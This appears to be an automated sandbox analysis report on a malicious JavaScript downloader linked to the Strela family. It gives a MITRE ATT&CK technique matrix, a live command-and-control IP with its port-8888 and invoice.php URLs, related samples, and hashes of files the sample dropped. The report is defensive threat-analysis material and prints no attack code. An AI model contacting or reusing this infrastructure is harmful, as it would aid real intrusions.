Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
21787281582160623337.js	3%	Virustotal		Browse
21787281582160623337.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/iS	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Num	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2777493997.000001FCC6C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1589424122.000001FCC6A10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1578158715.0000013E0ACED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1581447911.0000013E0AC98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1581447911.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1581447911.0000013E0ACEF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1581040333.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.1581447911.0000013E0AC98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/iS	net.exe, 00000007.00000002.1581447911.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1581040333.0000013E0ACCA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587810
Start date and time:	2025-01-10 18:10:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	21787281582160623337.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 34.237.241.83, 54.224.241.105, 18.213.11.84, 50.16.47.176, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 52.149.20.212, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:11:29	API Interceptor	24x Sleep call for process: powershell.exe modified
12:11:34	API Interceptor	1x Sleep call for process: net.exe modified
12:11:34	API Interceptor	2x Sleep call for process: svchost.exe modified
12:11:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	VsTfsPVrfA.exe	Get hash	malicious	FormBook	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021887295794565
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAw:RJE+Lfki1GjHwU/+vVhWqpd
MD5:	396155E13C1EAC52753DEE563C63468F
SHA1:	D361010D52EC445859436C8FB0FFB23F803F0D2C
SHA-256:	6F908698A1BA68292A0C0E205458C5E2A7D1AE8D0B698CEC085936858F35AA95
SHA-512:	EAC66903411BFA2A309A6F690374EABC33DF198B7F3190D1D7EC6261440517340B66CAD2C6832048A19FCCA596F3D80694B8596D262F21B0D1B1DC5404C7F84E
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbf2a79bc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432937375563001
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	5D25977B47B6FBFA92658C2B53B4900A
SHA1:	CCF04D8952813C28945F2FAD6E781F49DBF0E3BF
SHA-256:	85595388249106F362BCF43976205884905BBC46A1AE0A9B8ED2CC7732B55CF4
SHA-512:	C2539877D19E84F4923757EC897DE098A0593881A9EF5A59726C9671D636655E49B02A68CEAC01323E3557C37A3230348CD64C42FD6C6DCCB0A18FF37D379863
Malicious:	false
Preview:	.*y.... ...............X\...;...{......................0.x...... ...{s.#....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................&F#....}................."s.X#....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07956141836612801
Encrypted:	false
SSDEEP:	3:xYexG6l/nqlFcl1ZUllllkC1allGBnX/l/Tj/k7/t:xzxG6l/qlFclQ/lCCQ254
MD5:	328C41B76BAD2224CF8FD0A77F645347
SHA1:	31C885C733755F8A0429DE6D85B541726D99BA41
SHA-256:	5CC8D70DE88AB79FCDFF1292D2E53B4365A986E19CB9F30C8E53527ABF9A866B
SHA-512:	A184CFD8265E49812202B73BD55B5357019BD56A2D462CCFE7B9D81B031D94DE8B2D29ED471CDFDF817D0262208FCE220B73A25143B11726D10A6E827705E49E
Malicious:	false
Preview:	. .......................................;...{..#....}... ...{s.......... ...{s.. ...{s.P.... ...{s................."s.X#....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.151562906370444
Encrypted:	false
SSDEEP:	6:iO4Mq2PCHhJ2nKuAl9OmbnIFUtSTXZmwsTFkwOCHhJ2nKuAl9OmbjLJ:7FvBHAahFUts/e56HAaSJ
MD5:	5CBB6DBCD42A26290DB44FEFED610B3B
SHA1:	59810046EC6E36C831E1FFA603CCCAD75D47CAE5
SHA-256:	298568DF2E6BB10614341DE19A76F9617B30CCB65794FBC88A2B5FC63F8B538A
SHA-512:	D7040387EE93E7FA95F17B117079339A03546305C4807456FAF63694984AEF4CDABD79D9A897F08091CC27C65A8BD1AF2A8C594CE5E3C8497EAE74054722C0C6
Malicious:	false
Preview:	2025/01/10-12:11:34.730 cd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:11:34.732 cd0 Recovering log #3.2025/01/10-12:11:34.732 cd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.151562906370444
Encrypted:	false
SSDEEP:	6:iO4Mq2PCHhJ2nKuAl9OmbnIFUtSTXZmwsTFkwOCHhJ2nKuAl9OmbjLJ:7FvBHAahFUts/e56HAaSJ
MD5:	5CBB6DBCD42A26290DB44FEFED610B3B
SHA1:	59810046EC6E36C831E1FFA603CCCAD75D47CAE5
SHA-256:	298568DF2E6BB10614341DE19A76F9617B30CCB65794FBC88A2B5FC63F8B538A
SHA-512:	D7040387EE93E7FA95F17B117079339A03546305C4807456FAF63694984AEF4CDABD79D9A897F08091CC27C65A8BD1AF2A8C594CE5E3C8497EAE74054722C0C6
Malicious:	false
Preview:	2025/01/10-12:11:34.730 cd0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:11:34.732 cd0 Recovering log #3.2025/01/10-12:11:34.732 cd0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.174885957024328
Encrypted:	false
SSDEEP:	6:iO4FVJ+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSFXL5ZmwsFXLtVkwOCHhJ2nKuAl9OU:7tvBHAa8uFUtCl/k356HAa8RJ
MD5:	09FB5C3FFAA2C2405EBC4411D9338B36
SHA1:	18CE89088438E8BBDCB34B3EEBE0416BA7F66992
SHA-256:	DF663871A76CB498E7685A0FE1932A8200AD85742562FBF9ED870E77F17A7404
SHA-512:	67248BF613A053245F7212A46BEF79EBCAAD4E44272D2900C6E8248ABAFB06967C6BB17481B0FC4BC552318F38B113C9DC2B8A580E6FF0882789198C7A66AEB1
Malicious:	false
Preview:	2025/01/10-12:11:34.740 f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:11:34.742 f08 Recovering log #3.2025/01/10-12:11:34.742 f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.174885957024328
Encrypted:	false
SSDEEP:	6:iO4FVJ+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSFXL5ZmwsFXLtVkwOCHhJ2nKuAl9OU:7tvBHAa8uFUtCl/k356HAa8RJ
MD5:	09FB5C3FFAA2C2405EBC4411D9338B36
SHA1:	18CE89088438E8BBDCB34B3EEBE0416BA7F66992
SHA-256:	DF663871A76CB498E7685A0FE1932A8200AD85742562FBF9ED870E77F17A7404
SHA-512:	67248BF613A053245F7212A46BEF79EBCAAD4E44272D2900C6E8248ABAFB06967C6BB17481B0FC4BC552318F38B113C9DC2B8A580E6FF0882789198C7A66AEB1
Malicious:	false
Preview:	2025/01/10-12:11:34.740 f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:11:34.742 f08 Recovering log #3.2025/01/10-12:11:34.742 f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972436193729398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTsBdOg2HEUgcaq3QYiub6P7E4T3y:Y2sRds1dMHEUL3QYhbS7nby
MD5:	9758EAF1BF95E0661168AB848749EC3A
SHA1:	74A8CE742C9CB82366BD241E17ECD935FBB18516
SHA-256:	303D613EFEEB64EEF01C3CF18E4CD3568FF5AB32A7B748AD458D3A0FCA2A1DFC
SHA-512:	099C6A3A057F18FF1E696D3C2C786BC1FC0BE6CF3B25F1C4FB7436D70A6E5A7FF4462A811EF04B4A84310FF038E3A2BF6D55C6CB6BC8836166C9B5AFB9E3E8FF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089105705235","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":398659},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eafbdb8b-a6b0-4073-a608-f89e67610954.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972436193729398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTsBdOg2HEUgcaq3QYiub6P7E4T3y:Y2sRds1dMHEUL3QYhbS7nby
MD5:	9758EAF1BF95E0661168AB848749EC3A
SHA1:	74A8CE742C9CB82366BD241E17ECD935FBB18516
SHA-256:	303D613EFEEB64EEF01C3CF18E4CD3568FF5AB32A7B748AD458D3A0FCA2A1DFC
SHA-512:	099C6A3A057F18FF1E696D3C2C786BC1FC0BE6CF3B25F1C4FB7436D70A6E5A7FF4462A811EF04B4A84310FF038E3A2BF6D55C6CB6BC8836166C9B5AFB9E3E8FF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089105705235","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":398659},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.235379177248579
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bIkN5:S43C4mS7fFi0KFYDjr3LWO3V3aw+bIkH
MD5:	B8DE6B27901B2106038D5B27DE3FFD6D
SHA1:	764A86872864E02F099BF8325A2DF25700CF3B73
SHA-256:	E0054437EF390C9AAC9ED6BD7A732BBB0E4FC230B39736FCAAB7FE4503AAF167
SHA-512:	5D1A45C91150DFCE2FD485648CF43B40A9FB1CE2511460283487A0A676F0C509495299A3414E58A58CDA118360919449A3DC9D7C4CC6637A7E1DDA467946ADE3
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.140030188729833
Encrypted:	false
SSDEEP:	6:iO4/Mt+q2PCHhJ2nKuAl9OmbzNMxIFUtS/BlZmws/KVkwOCHhJ2nKuAl9OmbzNMT:78vBHAa8jFUtU/956HAa84J
MD5:	026DA99A8D3E8F49104787E8C3DF1979
SHA1:	27EA6F4EA609D6901FE3048C418841D73D84CCEE
SHA-256:	788859E6FA13CD939DB96F75AFF0F4A7EAFA47FD8FC944FDEF5475342DDFC5E7
SHA-512:	902A087CBC13EACAC6AB32E2079E0E32AC41FF58BE877BB21707E2E244774A84DFA38022E0C07246F86A57CF4D7A3F202229C75B7C97B491611A3D452626BAB4
Malicious:	false
Preview:	2025/01/10-12:11:35.281 f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:11:35.282 f08 Recovering log #3.2025/01/10-12:11:35.283 f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.140030188729833
Encrypted:	false
SSDEEP:	6:iO4/Mt+q2PCHhJ2nKuAl9OmbzNMxIFUtS/BlZmws/KVkwOCHhJ2nKuAl9OmbzNMT:78vBHAa8jFUtU/956HAa84J
MD5:	026DA99A8D3E8F49104787E8C3DF1979
SHA1:	27EA6F4EA609D6901FE3048C418841D73D84CCEE
SHA-256:	788859E6FA13CD939DB96F75AFF0F4A7EAFA47FD8FC944FDEF5475342DDFC5E7
SHA-512:	902A087CBC13EACAC6AB32E2079E0E32AC41FF58BE877BB21707E2E244774A84DFA38022E0C07246F86A57CF4D7A3F202229C75B7C97B491611A3D452626BAB4
Malicious:	false
Preview:	2025/01/10-12:11:35.281 f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:11:35.282 f08 Recovering log #3.2025/01/10-12:11:35.283 f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
